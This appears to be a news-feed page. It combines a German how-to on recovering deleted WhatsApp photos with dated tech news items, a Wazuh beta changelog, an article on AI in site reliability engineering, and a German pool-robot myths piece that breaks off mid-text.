Bevor Sie aufwendige Wiederherstellungsversuche starten, sollten Sie zuerst zwei kurze Checks durchführen. Manchmal ist die Lösung nämlich viel einfacher, als wir denken:




Galerie prüfen: Öffnen Sie Ihre Fotos- oder Galerie-App und suchen Sie dort nach dem Album “Whatsapp” oder “Whatsapp Images”. In manchen Fällen wird ein Bild nur im Chat nicht mehr angezeigt, ist aber noch vollständig im Speicher Ihres Handys vorhanden. Voraussetzung ist, dass die automatische Medienspeicherung in Whatsapp aktiviert ist. Mehr dazu in unserem Artikel Whatsapp-Speicher aufräumen: So löschen Sie unnötige Dateien sicher.



Erneut herunterladen: Öffnen Sie den betreffenden Whatsapp-Chat. Falls Sie anstelle des Bildes nur eine verschwommene Vorschau mit einem Download-Pfeil sehen, tippen Sie darauf. Whatsapp lädt das Bild erneut von seinen Servern, sofern es noch nicht zu lange zurückliegt.



Gelöschte Whatsapp-Fotos: Wenn das Bild im Chat verschwommen ist, können Sie es per Antippen noch einmal herunterladen.
PC-Welt



Bleibt das Bild trotz der Checks unauffindbar, haben Sie noch weitere Möglichkeiten. Die wichtigsten stellen wir Ihnen in den folgenden Abschnitten vor.



Methode 1: Dateisystem durchsuchen (Android)



Auch wenn ein Bild aus dem Whatsapp-Chat gelöscht wurde und nicht mehr in der Galerie auftaucht, kann es sich noch im Dateisystem des Smartphones befinden. Auf Android legt Whatsapp Mediendateien im internen Speicher unter folgendem Pfad ab: Interner Speicher → Android → media → com.whatsapp → WhatsApp → Media → WhatsApp Images. Für Videos schauen Sie entsprechend im Ordner “WhatsApp Video” nach.



Um in diesen Ordner zu gelangen, benötigen Sie einen Dateimanager. Auf neueren Android-Versionen reicht dafür oft die vorinstallierte App Dateien aus, alternativ funktionieren kostenlose Apps wie der Total Commander aus dem Play Store. Gehen Sie dann so vor:




Öffnen Sie die App Dateien oder einen Dateimanager Ihrer Wahl.



Navigieren Sie zu Interner Speicher → Android → media → com.whatsapp → WhatsApp → Media.



Öffnen Sie den Ordner Whatsapp Images für Fotos oder WhatsApp Video für Videos.



Suchen Sie dort nach der gewünschten Datei und kopieren Sie sie an einen sicheren Ort.




Wichtig: Diese Methode funktioniert nur, wenn das Bild zwar aus dem Chatverlauf entfernt, aber die lokal gespeicherte Kopie noch nicht überschrieben wurde. Je länger Sie warten, desto unwahrscheinlicher wird ein Erfolg.



Methode 2: Backup wiederherstellen (Android & iPhone)



Wenn das Bild weder in der Galerie noch im Dateisystem zu finden ist, bleibt der Weg über ein Backup. Whatsapp sichert Chats und Mediendateien regelmäßig automatisch – auf Android in Google Drive und auf dem iPhone in der iCloud. Entscheidend ist, dass das Backup vor dem Löschen des Bildes erstellt wurde.



Prüfen Sie zunächst, wie weit das letzte Backup zurückliegt: Öffnen Sie Whatsapp und navigieren Sie zu Einstellungen → Chats → Chat-Backup. Dort sehen Sie Datum und Uhrzeit der letzten Sicherung. Liegt dieses Datum vor dem Zeitpunkt, an dem das Bild gelöscht wurde, sind Ihre Chancen gut.



Gehen Sie dann so vor:




Deinstallieren Sie Whatsapp. Halten Sie dazu das App-Symbol gedrückt und tippen Sie auf Deinstallieren (Android) oder App entfernen (iPhone).



Laden Sie Whatsapp neu herunter und installieren Sie die App.



Melden Sie sich mit Ihrer Telefonnummer an. Whatsapp erkennt das vorhandene Backup automatisch.



Tippen Sie auf Wiederherstellen, um Chats und Medien zurückzuholen.




Achtung: Alle Nachrichten und Medien, die nach dem letzten Backup eingegangen sind, gehen bei diesem Vorgang verloren.



Sonderfall: Das Bild wurde “für alle” gelöscht



Whatsapp erlaubt es, versendete Nachrichten nachträglich bei allen Empfängern zu entfernen. Hat der Absender ein Bild mit “Für alle löschen” entfernt, erscheint im Chat nur noch der Hinweis “Dieses Medium wurde gelöscht”. Weder Backup noch Dateisystem helfen hier weiter, da das Bild nie dauerhaft auf Ihrem Gerät gespeichert wurde.



Eine Ausnahme gibt es: Hatte Ihr Handy das Bild bereits automatisch in der Galerie gespeichert, bevor der Absender es gelöscht hat, ist diese Kopie weiterhin vorhanden. Whatsapp entfernt bei “Für alle löschen” nur die Kopie im Chat, nicht eine bereits in der Galerie gesicherte Version. Mehr zum Thema Gelöschte Whatsapp-Nachrichten und wie Sie diese trotzdem lesen können, erfahren Sie hier.



Datenrettungs-Software: Finger weg oder sinnvoll?



Im Netz werden zahlreiche Tools beworben, die angeblich gelöschte Whatsapp-Fotos direkt aus dem Speicher retten; darunter “Dr.Fone”, “PhoneRescue” oder “Tenorshare UltData”. 



Viele werben damit, ohne Root-Zugriff auszukommen. Das stimmt – mit einer wichtigen Einschränkung: Was diese Tools in der Praxis hauptsächlich tun, ist, den Inhalt eines vorhandenen Google-Drive- oder iCloud-Backups auszulesen und selektiv wiederherzustellen. Das ist durchaus praktisch, hilft aber nur, wenn das gesuchte Bild im Backup enthalten war.



Eine echte Wiederherstellung gelöschter Dateien direkt aus dem freien Gerätespeicher (also ohne jegliches Backup) ist auf modernen Android-Geräten durch das Betriebssystem stark eingeschränkt und gelingt in der Praxis selten zuverlässig. Unser Rat: Bleiben Sie skeptisch, denn die Preise für solche Tools sind oft hoch und die Erfolgsaussichten gering.



So verlieren Sie künftig keine Whatsapp-Medien mehr



Der zuverlässigste Schutz vor Datenverlust ist und bleibt ein aktuelles Backup. Aktivieren Sie in Whatsapp unter Einstellungen → Chats → Chat-Backup die tägliche automatische Sicherung und stellen Sie sicher, dass Ihr Google- oder Apple-Account genug freien Speicher hat. 



Zusätzlich empfiehlt es sich, die automatische Medienspeicherung aktiviert zu lassen, damit Fotos direkt in der Galerie landen und damit eine zweite Kopie außerhalb des Chats existiert. Bedenken Sie dabei nur, dass das den Speicher schnell füllen kann.



Weiterführender Lesetipp: 12 neue Whatsapp-Funktionen, die Sie ab sofort nutzen können



 FAQ – Whatsapp-Medien wiederherstellen 

1.
Wie lange sind Whatsapp-Fotos im Backup verfügbar?




Solange Ihr Google- oder iCloud-Speicher nicht voll ist. Wichtig: Seit Ende 2023 zählen Whatsapp-Backups auf Android zum regulären Google-One-Kontingent und sind nicht mehr kostenlos unbegrenzt.





2.
Kann ich einzelne Bilder aus dem Backup wiederherstellen, ohne alles zurückzusetzen?




Nein. Whatsapp stellt immer das gesamte Backup wieder her, nicht einzelne Dateien.






3.
Funktioniert die Dateisystem-Methode auch auf dem iPhone?




Nein. iOS erlaubt keinen direkten Dateizugriff auf Whatsapp-Ordner von außen.





4.
Was tun, wenn kein Backup vorhanden ist?




Prüfen Sie zuerst die Galerie und das Dateisystem (Android). Ist das Bild dort ebenfalls nicht mehr vorhanden, sind die Chancen auf Wiederherstellung leider sehr gering.







Next-gen battery startup Sila raises $300M to expand manufacturing plant in Washington state
Tue, 21 Jul 2026 15:18:41 +0200

Sila, a startup producing next-generation battery materials, on Tuesday announced $300 million from investors, which will help fund the expansion of its Moses Lake, Wash., manufacturing plant.  Read More


Wazuh v5.0.0 Beta 4
Tue, 21 Jul 2026 14:50:03 +0200
What's Changed

fix: persist engine startup state for CMSync route logging by @jam300 in #37356
Fix invalid MTU value reported for Windows network interfaces by @vikman90 in #37394
Restore modern.bpf.o checkfiles baseline reverted by 4.14.7 merge by @lchico in #37414
Suppress version-coordination WARNINGs on stop/unavailable module by @lchico in #37372
Clarify security policy for pre-release versions and disclosure timeline by @vikman90 in #37423
Bump 5.0.0 branch by @wazuhci in #37429
wazuh-manager: Memory and copy-reduction improvements part 1 by @matigarciadev in #36979
Improve default cores detection by @LucioDonda in #37288
Standardize and verify Wazuh configuration documentation  by @TomasTurina in #37411
Handle rootcheck removed tags by @rovogel in #37346
Update docs (agent) for the new password in manager by @Miguevrgo in #37420
Backport the workflow for generating pre-release agent issues to version 5.0.0 by @MarcelKemp in #37490
Upgrade 5.0.0 python dependencies by @jepalfer in #37361
Change indexer user name and password by @TomasTurina in #37502
Remove startup deprecation warning from cluster_control and agent_upgrade by @vikman90 in #37509
Change indexer username and password to wazuh-manager by @TomasTurina in #37520
Fix to improve fim_sync db performance. by @hernanvalenzuela in #37180
SCA/FIM sync lifecycle: close DBs on graceful shutdown, defer coordination during first sync, and increment SCA check version on change by @jr0me in #37353
Fix version comparison in indexer documents updates by @TomasTurina in #37498
Propagate sync errors to each module by @jpcerrone in #37212
Cache indexer credentials in clusterd by @TomasTurina in #37504
Standardize CHANGELOG format and keep prior versions in the bumper by @jotacarma90 in #37513
Warn on duplicate agent connection only when it persists by @jotacarma90 in #37493
Backport: Lower DBSync-not-available shutdown messages to DEBUG to 5.0.0 by @anromerom in #37567
Add retry logic to indexer templates download by @TomasTurina in #37643
Reduce authd enrollment log severity for expected rejections by @jotacarma90 in #37540
Reduce memory usage when downloading VDP feed by @Antoniogm03 in #37375
Fix server-side version bump for disconnected agent metadata updates by @TomasTurina in #37647
Re-enable AWS Inspector integration tests in 5.0.0 by @MAnDumu in #37645
Fix sca internal limits by @rovogel in #37438
Silence untrustworthy FIM schema-validation errors during shutdown by @Nicogp in #37688
Fix spurious ERROR/WARNING logs during agent shutdown by @Nicogp in #37673
Fix daemon stats for analysisd by @NahuFigueroa97 in #37525
Resolve logging macro collisions and improve LogFn design (#37354) by @jotacarma90 in #37393
Enable authd in manager source-install integration test step by @jotacarma90 in #37693
Stop verify-agent-conf from falsely warning on agent-only wodle blocks, without breaking their validation by @vikman90 in #37680
Fixing CIS 6.1.9 rule impossible permission check for /etc/group- by @hossam1522 in #35405
Lower connection socket error log to debug level in wazuh-agentd by @MAnDumu in #37685
Memory improvements part 2 by @NahuFigueroa97 in #37433
Fix make clean-deps failing when src/external is missing by @vikman90 in #37724
fix date schema validation error in scheduled metrics by @LucioDonda in #37703
Report failure when block-ip fails to block an IP by @lchico in #37439
Fix rename race on logcollector file status during shutdown by @Miguevrgo in #37695
Calibrate log levels in router and vulnerability_scanner by @jotacarma90 in #37731
Adds AR Windows binary extension fallback by @rjcausarano in #37496
Lower httpsrv C++ standard from 20 to 17 by @jotacarma90 in #37751
Add new indexer API roles mapping by @jepalfer in #37746
Fix Windows block-ip firewall-enabled check misfire and ineffective route fallback by @nbertoldo in #37430
Free rpm macro context to stop unbounded growth by @Nicogp in #37758
Report modulesSync failure as debug during agent shutdown by @anromerom in #37689
Report manager-not-ready sync failures as deferred by @anromerom in #37720
wazuh-engine: Indexer connector exponential backoff by @matigarciadev in #37756
Fix issue reference in the daemons stats changelog entry by @jotacarma90 in #37827

Full Changelog: v5.0.0-beta3...v5.0.0-beta4


Atlassian: Why AI speeds up employees but not organizations
Tue, 21 Jul 2026 14:33:25 +0200
Presented by Atlassian 
Most companies are approaching AI adoption backwards by optimizing how individuals use AI instead of how teams work together, said Dr. Molly Sands, head of the Teamwork Lab at Atlassian, during a fireside chat with VentureBeat senior technology contributor Sam Witteveen at VB Transform 2026.
Sands leads a team of behavioral scientists and psychologists who study how AI is reshaping the way people work together, using those findings to help organizations redesign how work gets done.
"We don't just study it, we also actively go in and change it," she explained. Her teams teach new ways of working and remap how work flows across companies, a challenge that many organizations are still struggling with, she said.
Why AI speed isn’t translating into ROI
Atlassian's annual State of Teams Report, which this year surveyed 12,000 global knowledge workers and interviewed roughly 200 Fortune 1000 executives, found a significant disconnect between activity and value, showing that everyone is using AI, while very few can yet locate where it pays off.
"89% of those executives told us that individuals are speeding up in their companies, and only 6% of them said they could point to specific examples of clear ROI," Sands said.
But roughly 14% of teams had translated AI usage into real value — meaning a single organization could contain a handful of high-performing teams surrounded by others seeing no return at all.
Those leading teams shared three characteristics: context, workflows and culture. The teams pulling ahead were building what Atlassian calls a context graph by capturing goals, decisions, and organizational knowledge in shared digital records rather than leaving them in individual memory. Across products such as Jira and Confluence, the graph connects work items, goals and the people doing them, giving AI access to the organizational context it needs.
On workflows, the winning teams redesigned entire end-to-end processes rather than simply accelerating isolated tasks. Otherwise, speeding up individuals who are pointed in slightly different directions only causes them to “very quickly start to crash into each other,” as Sands puts it. 
On culture, the fastest-moving teams worked under leaders who explicitly encouraged learning and experimentation, while making it clear that some experiments would fail.
How leaders can move AI from individual hack to team advantage
Experimentation and constraints are the fastest route to learning, Sands said. The teams seeing the biggest gains were deliberately imposing constraints on how they worked, from breaking every task into the smallest practical unit of work (a single story point) to committing to write no code by hand for a week.
"Most of it is not sustainable to do forever, but it is a really, really fast way to learn," she said.
Sands argued that another obstacle isn’t the technology itself but the fact that employees are figuring out AI on their own. Every worker develops different prompts, agents and assumptions, creating another layer of unspoken knowledge inside teams that rarely translates into organizational performance.
To counter that, Atlassian experimented with AI working agreements at the start of projects, asking teams to decide not only what they would use AI for, but what they would deliberately avoid using it for, which agents they would share and what common skills would keep everyone working from the same context. Teams that adopted the practice used AI more, moved faster, made better decisions and ultimately produced higher-quality work.
The broader lesson, Sands said, is that AI isn’t creating entirely new management problems so much as exposing old ones. Teams have always struggled with hidden assumptions and different mental models of their work. AI simply makes those gaps more consequential, increasing the importance of shared context and explicit ways of working.
Sponsored articles are content produced by a company that is either paying for the post or has a business relationship with VentureBeat, and they’re always clearly marked. For more information, contact sales@venturebeat.com.


Headaches for Silicon Valley as China chips away at the US’s lead in the AI race
Tue, 21 Jul 2026 14:19:33 +0200
Google’s AI struggles scream trouble as new Chinese models (again) throw US tech dominance into question
Hello, I’m Blake Montgomery, writing to you after a double-header feature of Christopher Nolan’s The Odyssey and the World Cup final. What a great Sunday. Today in tech, we’re discussing how China is chipping away at the US’s lead in the AI race and how Silicon Valley’s workers are taking action to protect their jobs from AI.
New York becomes first state to impose one-year pause on new AI datacenters
Trump rails against New York’s statewide datacenter moratorium
Albanese’s AI blueprint sparks calls for datacentre moratorium until new regulations in place
‘Adversarial clothing’: are garments designed to confuse facial recognition systems about to go mainstream?
IBM loses quarter of its value as tech giant’s shares plunge and profits falter
‘What’s the point?’ Teenagers give their verdict on Britain’s social media curfew
Amazon Web Services customers receive bills for up to $1.5tn after global glitch
Trump made $1.4bn from crypto in one year. Is Justin Sun the man who helped him do it?
 Continue reading...


Abdul El-Sayed Is an Epidemiologist Running for Senate. His State Is a Public Health Disaster
Tue, 21 Jul 2026 13:17:38 +0200
Michigan has been at the epicenter of the wildfire smoke and explosive diarrhea outbreaks. The progressive Democrat talks to WIRED about how he would tackle the forces behind them if he’s elected.


95% of Security Teams Blindsided by Vulnerabilities Between Tests
Tue, 21 Jul 2026 12:09:34 +0200
The vast majority of enterprise security teams are being blindsided by vulnerabilities that scheduled testing never catches, according to new research from Synack, which describes itself as the provider of the first AI-powered continuous pentest for enterprises. The company’s new report, The State of Continuous Security Validation, surveyed enterprise security leaders and practitioners and found […]
The post 95% of Security Teams Blindsided by Vulnerabilities Between Tests appeared first on IT Security Guru.


Meta Addictiveness Trial Begins In Tennessee
Tue, 21 Jul 2026 11:09:50 +0200
In latest case, state of Tennessee accuses Meta of knowingly offering harmful product to youths, lying about safety This article has been indexed from Silicon UK Read the original article: Meta Addictiveness Trial Begins In Tennessee
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The post Meta Addictiveness Trial Begins In Tennessee appeared first on IT Security News.


How AI impacts site reliability engineering
Tue, 21 Jul 2026 11:05:12 +0200

		
					  
						




Site reliability engineers (SREs) have the tough assignment of resolving thorny performance and reliability issues. But their primary mission is to provide devops teams with operational insights and to suggest implementation improvements on business system performance, security, and overall robustness.



Google introduced its SRE playbook in 2003, but it took some time for the role’s definition, tools, and techniques to become mainstream. Startups were the first to adopt observability for cloud-native applications and create dedicated SRE positions. As tools matured and SRE responsibilities became more clearly defined, larger enterprises assigned SREs to work as a bridge between devops and IT ops teams to improve resilience across a wider range of applications, APIs, and data pipelines.



SRE is a career path for multidisciplinary engineers with strong investigative instincts, sharp data analytics skills, and the temperament to perform under pressure. It has become a critical responsibility as tech became mission-critical for enterprises, and it is a growing role in the genAI era as more businesses deploy AI agents.



But the critical need for resiliency and greater technological complexity brings new challenges for SREs. According to the 2026 State of Production Reliability and AI Adoption report, 44% of respondents experienced an outage linked to ignored or suppressed alerts in the past year, and 35% report their engineers occasionally ignore or dismiss alerts due to alert fatigue. More than 70% of alerts received are not actionable, according to 57% of organizations.



So, is AI making the SRE’s role easier and helping businesses run more reliable technology operations? On the other hand, AI is also driving complexity, as companies deploy genAI tools and AI agents across more business functions and seek to automate more decision-making across operations.



AIops and agentic ops aid SREs



Over the past decade, SRE responsibilities have become somewhat easier through improvements in monitoring platforms, observability practices, tools for centralizing operational data, and AI applied in IT operations (AIops). But during the heat of resolving an outage or performance issue, it’s not easy to correctly identify what system triggered the issue versus other downstream systems impacted by it.



According to the Komodore 2025 Enterprise Kubernetes Report, 79% of production incidents originate from recent system changes, including deployments and changes to compute environments. But the other 21% of incidents stem from issues outside of the business’s control, including network failures, third-party changes, and cloud provider failures.



“SREs using AI capabilities succeed or fail in the moment an incident unfolds, when engineers are deciding what to investigate next,” says Itiel Shwartz, CTO at Komodor. “If the system streamlines root cause detection, connects signals to recent changes, and explains its reasoning in a way engineers recognize, it earns trust. If it adds uncertainty or demands extra validation, it gets sidelined, regardless of how bespoke the model behind it may be. What’s less obvious is what it takes to make AI for SREs work in production, and how different that reality is from prototypes, demos, or early internal builds.”



AIops is not a new capability, especially in using machine learning to correlate logs, metrics, and traces across monitoring and alerting systems. IT service management and SREs have been using AIops to reduce the mean time to resolve incidents and to perform accurate root cause analysis (RCA) efficiently. Agentic ops is the next wave of genAI operational capabilities, including tools for monitoring AI agents, managing their access rights, and detecting AI model accuracy drift.



 “AI is useful during major incidents because it can pull together a lot of context into a few clear sentences, which is exactly what an SRE needs in the moment,” suggests Shani Shoham, chief revenue officer at OpenObserve. “The complexity of architecture and the different tooling make it easier for AI than for a human, but autonomous resolution is still a way off.”



AI’s impact on people and burnout



The business pressure to keep systems up, secure, and performing well is a 24/7 stressful responsibility. According to The SRE Report 2025 from Catchpoint, 36% of SREs often or always experience elevated stress during an incident, and 28% said the stress persists even after the incident is resolved. AI capabilities may prove to be a game-changer in helping SREs avoid burnout and reduce stress.



“AI can improve RCA by taking in a much larger incident context than any engineer can hold at 3am, reasoning across traces, logs, metrics, deploys, config changes, alerts, ownership, and recent production behavior,” says Noam Levy, founding engineer and field CTO at Groundcover. “Beyond attempting a full RCA, its immediate value is distilling the signals that actually matter, reconstructing a clear timeline of cause and effect, and helping engineers separate correlation from likely causality. Once a fix is deployed, agents can also verify remediation by comparing pre- and post-fix behavior, but this depends on broad access to rich, correlated production signals and a cost model that does not discourage adoption or experimentation.”



Not only are incidents resolved faster and with less stress, but AI can also free up SRE time to focus on proactive work and create a career path for junior developers into SRE roles. Quais Taraki, CTO at EDB Postgres AI, adds, “AI reduces toil by automating repetitive tasks while accelerating incident resolution through copilots that correlate signals across distributed systems, allowing SREs to focus more on resilience strategies like chaos engineering and failure analysis.”



AI can have long-lasting operational impacts, especially for organizations looking to deploy more mission-critical technology and AI capabilities. Two longer-term benefits of AI for SREs are reducing the number of bridge calls needed for incident response and the number of engineers required in “war rooms” to coordinate root cause analyses.



“When something goes wrong, AI that guides SREs can do the full analysis, get to the root cause, and perform the remediation,” says Spiros Xanthos, founder and CEO of Resolve AI. “AI also helps avoid many escalations, and when escalations are needed, it targets the right people from the network, infrastructure, and the application teams. AI for SREs centralizes operational intelligence, exposes tribal knowledge, and can guide more junior developers.” 



AI agent reliability



While AI capabilities have been a net positive in helping SREs improve system reliability, the growth of AI code generators, vibe coding, and spec-driven development is adding to their workloads. According to one study, 41% of all global code is now AI-generated, and Gartner predicts that 40% of new enterprise production software will be created using vibe coding techniques by 2028.



But coding velocity is creating new issues for SREs as AI pull requests have 1.4 times more critical issues and 1.7 times more major issues, according to CodeRabbit. “AI-assisted development has created an unprecedented velocity of code reaching production, expanding surface area, edge cases, and failure rates faster than traditional SRE practices can absorb,” says Vinod Jayaraman, cofounder and CTO at NeuBird AI. “The speed of shipping has far outpaced the speed of understanding what breaks in production. To close this loop, SREs need enterprise agents that can capture precise diagnostic context, including correlated traces, service dependencies, and anomaly timelines, and structure it as actionable input for the engineers and AI coding tools responsible for the fix.”



The growing number of AI agents deployed to production creates new challenges. AI agents are not just code; they have multiple failure points. They are built using language models, connect to proprietary sources for context, and integrate with Model Context Protocol servers to support more complex workflows. Changes are ongoing and not deployment events, so the SRE’s job of identifying the source of performance and accuracy drifts isn’t trivial. 



“Traditional SRE was built for systems that fail in reproducible ways, but agents fail differently and drift when a model provider pushes an update, and behavior shifts silently with no baseline for comparison,” says Mohammed Aboul-Magd, vice president of product at SandboxAQ. “Most organizations can’t even answer the basics: how many agents are running, what they have access to, and whether they’re still doing what they were built to do.”



“Every time a senior engineer leaves, they take years of learned failure patterns with them, and the next outage starts from square one,” adds Ronak Desai, cofounder and CEO at Ciroos. “Using AI for compounding operational memory changes that, and every incident your system resolves, the AI learns it.”



SREs should take a leadership role in emerging best practices, including defining their standards for AI agent non-functional acceptance criteria, observability practices, and release-readiness criteria. SREs should update their service-level objectives (SLOs) and define error budgets for AI agents in production.



Ryan Downing, vice president and CIO of enterprise business solutions at Principal Financial Group, says, “Standard SLOs and error budgets give teams the guardrails, and AI helps interpret the telemetry against those targets, reducing noise so engineers can get to the real issue faster and automate parts of remediation before customers are impacted.”



AI raises the SRE’s business impact



The more dramatic shift in site reliability engineering is an evolution of its business scope. IT leaders focus on uptime, performance, and issue resolution, as well as understanding their impacts. Business leaders will look to IT and SREs to identify, determine root cause, and remediate a broader class of issues, including rogue AI agents and the impacts of rapidly deploying new agentic capabilities. 



“AI agents are handing SREs categories of problems they’ve never had to solve before, specifically failures defined in business terms, not technical ones,” says Blake Sherwood, distinguished technologist for AI and platform strategy at Smarsh. “Traditional reliability engineering is built around latency, errors, and crashes, but agents now fail due to skipped compliance steps or outcomes that looked fine technically but were wrong contextually. Most SRE teams aren’t wired for that yet.”



The question is whether SREs with AI-augmented tools can keep up with the velocity, complexity, and business urgency of deploying new AI business capabilities.



European Password Manager Passwork Shares Codebase and Updates With FSTEC-Certified Russian Firm
Tue, 21 Jul 2026 08:38:09 +0200
Passwork Europe, a Spain-based password manager used by European public sector bodies, universities, and private organizations, is facing scrutiny after an investigation led by OCCRP uncovered technical and historical connections to a Russian counterpart certified by Russian state agencies. The…
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The post European Password Manager Passwork Shares Codebase and Updates With FSTEC-Certified Russian Firm appeared first on IT Security News.


Ich lag bei Poolrobotern falsch: Diese 7 hartnäckigen Mythen stimmen nicht
Tue, 21 Jul 2026 08:33:03 +0200





Mit Poolrobotern hatten wir uns in der Redaktion bislang kaum beschäftigt. Entsprechend schnell war mein Urteil gefällt: vermutlich praktische Helfer, aber mit ähnlichen Schwächen wie viele Saugroboter – begrenzte Orientierung, unvollständige Reinigung und regelmäßige Nacharbeit.



Unsere eigenen Praxistests mit Modellen von Aiper, Mova und Mammotion zeichneten jedoch ein anderes Bild. Dabei wurde deutlich, dass Poolroboter häufig mit falschen Erwartungen beurteilt werden. Sie ersetzen weder die Wasserpflege noch die Grundreinigung eines stark verschmutzten Beckens. Ihre eigentliche Aufgabe besteht darin, einen bereits gepflegten Pool regelmäßig von Blättern, Sand und anderen Ablagerungen zu befreien.



Viele Vorbehalte beruhen daher auf Missverständnissen. Diese sieben Mythen halten sich besonders hartnäckig.



Mythos 1: Poolroboter können einen stark verschmutzten Pool bewältigen



Realität: Sie sind für die tägliche Pflege konzipiert



Poolroboter sind Wartungsgeräte – keine Rettungskräfte für gekippte Becken. Sie spielen ihre Stärke bei der regelmäßigen Reinigung aus. Sie sammeln Blätter, Insekten, Sand und andere Ablagerungen vom Boden auf und können je nach Modell auch Wände und Wasserlinie säubern. Wurde ein Pool jedoch über längere Zeit vernachlässigt, stoßen selbst leistungsfähige Geräte schnell an ihre Grenzen.



Ist das Wasser bereits grün und stark von Algen durchsetzt, reicht es nicht aus, einfach einen Roboter ins Becken zu setzen. Er kann zwar groben Schmutz aufnehmen, verändert aber weder die Wasserqualität noch beseitigt er die Ursache der Algenbildung. Dafür sind zunächst eine passende chemische Behandlung sowie eine gründliche mechanische Reinigung erforderlich.



In der Regel muss das Wasser zuerst mit einer Stoßchlorung behandelt werden. Anschließend werden Wände und Boden abgebürstet, damit sich Algen und festsitzende Verschmutzungen lösen. Erst danach ist der richtige Zeitpunkt gekommen, den Poolroboter einzusetzen und die gelösten Rückstände aufzunehmen.



Genau darin liegt der entscheidende Unterschied: Poolroboter sind in erster Linie für die laufende Pflege eines grundsätzlich intakten Beckens gedacht. Sie können eine Grundreinigung unterstützen, ersetzen aber weder die Kontrolle der Wasserwerte noch die notwendige Behandlung eines umgekippten Pools.



Das deckt sich mit unseren Erfahrungen aus den Praxistests. Modelle wie der Aiper Scuba V3 entfernen alltägliche Verunreinigungen zuverlässig. Ein stark vernachlässigtes, trübes oder von Algen befallenes Becken können sie dagegen nicht eigenständig wieder in einen nutzbaren Zustand versetzen.


Christoph Hoffmann



Eine einfache Faustregel lautet deshalb: Ist der Poolboden nicht mehr zu erkennen, sollten zunächst Wasserpflege, Bürste und Filtersystem zum Einsatz kommen – und erst anschließend der Roboter.



Mythos 2: Die Roboter sind auf das Filtersystem des Pools angewiesen



Realität: Sie arbeiten völlig unabhängig



Auch ich war zunächst davon ausgegangen, dass solche Reiniger an die Pumpe und das Filtersystem des Pools angeschlossen werden müssen. Bei den meisten modernen Poolrobotern ist das jedoch nicht der Fall.


Christoph Hoffmann



Roboter-Poolreiniger arbeiten vollständig autark und verfügen über eigene Motoren, Ansaugöffnungen und Filter. Sie müssen den Reiniger lediglich ins Wasser setzen, seine Arbeit erledigen lassen und ihn anschließend wieder herausnehmen. Ein Anschluss an den Skimmer ist nicht erforderlich, und auch die Poolpumpe wird nicht zusätzlich belastet.



Was die Geräte allerdings nicht leisten, ist, das Filtersystem des Pools oder die chemische Wasseraufbereitung zu ersetzen. Sie entfernen ausschließlich feste Verunreinigungen. Das ist ein weit verbreitetes Missverständnis. Die Regulierung der Wasserchemie und die Wartung des Filtersystems müssen weiterhin durch andere Geräte oder regelmäßige Pflegemaßnahmen erfolgen.



Daneben gibt es intelligente Systeme zur Wasserüberwachung, die mithilfe von Sensoren Werte wie Temperatur und pH-Wert erfassen. In der Regel handelt es sich um kleine Geräte, bei denen sich der Sensor im Becken befindet, während die Steuerzentrale außerhalb angebracht ist. Chemikalien geben solche Systeme jedoch nicht selbstständig ins Wasser. Sie dienen daher in erster Linie der Diagnose und Überwachung.



Manche Nutzer kombinieren einen Poolroboter mit einem solchen Überwachungssystem. Beide Geräte arbeiten jedoch unabhängig voneinander.



Etwas aufwendiger kann dagegen die Bergung des Roboters sein. Einige neuere Modelle sollen diesen Schritt erleichtern. Die meisten Poolroboter fahren nach der Reinigung lediglich bis zur Wasserlinie und bleiben dort nahe der Oberfläche stehen. Anschließend müssen Sie das Gerät greifen und aus dem Becken heben.



Das kann anstrengend sein, denn mit Wasser gefüllt wiegen die Geräte schnell zwischen 14 und 18 Kilogramm. Einige hochpreisige Modelle wie der Mammotion Spino S1 Pro verfügen deshalb über einen externen Andockmechanismus, der den Roboter aus dem Wasser hebt.



Mythos 3: Poolreinigungsroboter verbrauchen viel Energie



Realität: Sie sind überraschend effizient



Ich ging davon aus, dass diese Geräte stundenlang laufen würden. Vielleicht sogar über Nacht. Das ist jedoch nicht der Fall.



Die meisten laufen pro Zyklus nur ein paar Stunden (in der Regel weniger als drei) – und das war’s. Da sie mit Niederspannung betrieben werden, ist die kürzere Laufzeit gewissermaßen der springende Punkt. Sie sollen effizient reinigen und nicht einfach endlos laufen. Außerdem verbrauchen sie (ungefähr) so viel Strom wie ein Staubsauger.



In der Praxis sind sie dadurch effizienter, als ich erwartet hatte, insbesondere im Vergleich zu Systemen, die auf die Pumpe und das Filtersystem Ihres Schwimmbeckens angewiesen sind (wie beispielsweise ein Saugseitenreiniger). Sie reinigen genau das, was gereinigt werden muss, ohne ständig das gesamte Schwimmbecken umzuwälzen.


Christoph Hoffmann



Selbst Modelle, die für größere Pools konzipiert sind, laufen nicht einfach unbegrenzt. Der Mova Rover X10 läuft länger als die meisten anderen (sechs Stunden!), wodurch er eine größere Fläche abdecken kann. Dennoch arbeitet er innerhalb eines festgelegten Zyklus.



Mythos 4: Man kann den Poolroboter nur gelegentlich einsetzen



Realität: Das hängt von den Umgebungsbedingungen Ihres Pools ab



Eine Frage, über die ich mir bislang kaum Gedanken gemacht hatte: Wie oft sollte ein Poolroboter eigentlich zum Einsatz kommen – einmal pro Woche oder doch besser jeden zweiten Tag?



Das hängt vor allem davon ab, wie intensiv der Pool genutzt wird und wie viel Schmutz sich im Becken ansammelt. Auch die Wetterbedingungen spielen eine Rolle. Steht der Pool beispielsweise unter Bäumen oder ist er starkem Wind ausgesetzt, kann eine häufigere Reinigung sinnvoll sein. Wenig genutzte und gut geschützte Pools kommen dagegen oft mit wenigen Reinigungsdurchläufen pro Woche aus.



Als grober Richtwert empfiehlt sich ein vollständiger Reinigungszyklus etwa alle drei Tage.



Mythos 5: Räder und Laufbänder sind im Grunde dasselbe



Realität: Laufflächen eignen sich besser zum Klettern



Manche Poolroboter reinigen ausschließlich den Beckenboden, andere können zusätzlich die Wände hinauffahren. Leistungsfähigere Modelle beherrschen in der Regel beides. Dabei ist die Art der Fortbewegung wichtiger, als ich zunächst angenommen hatte.



Ich ging davon aus, dass der Unterschied zwischen Rädern und Raupenketten lediglich ein technisches Detail sei. Tatsächlich kann er jedoch einen spürbaren Einfluss auf Traktion, Wendigkeit und Reinigungsleistung haben.


Christoph Hoffmann



Ketten haben mehr Kontakt zur Oberfläche und bieten daher eine bessere Haftung. Dies ist nützlich, um senkrechte Wände hinaufzuklettern und die Wasserlinie zu reinigen. Räder neigen eher zum Rutschen, was Ihnen vielleicht auffällt, wenn ein Reinigungsroboter zum ersten Mal versucht, eine Wand hinaufzuklettern, und dann wieder nach unten rutscht. 



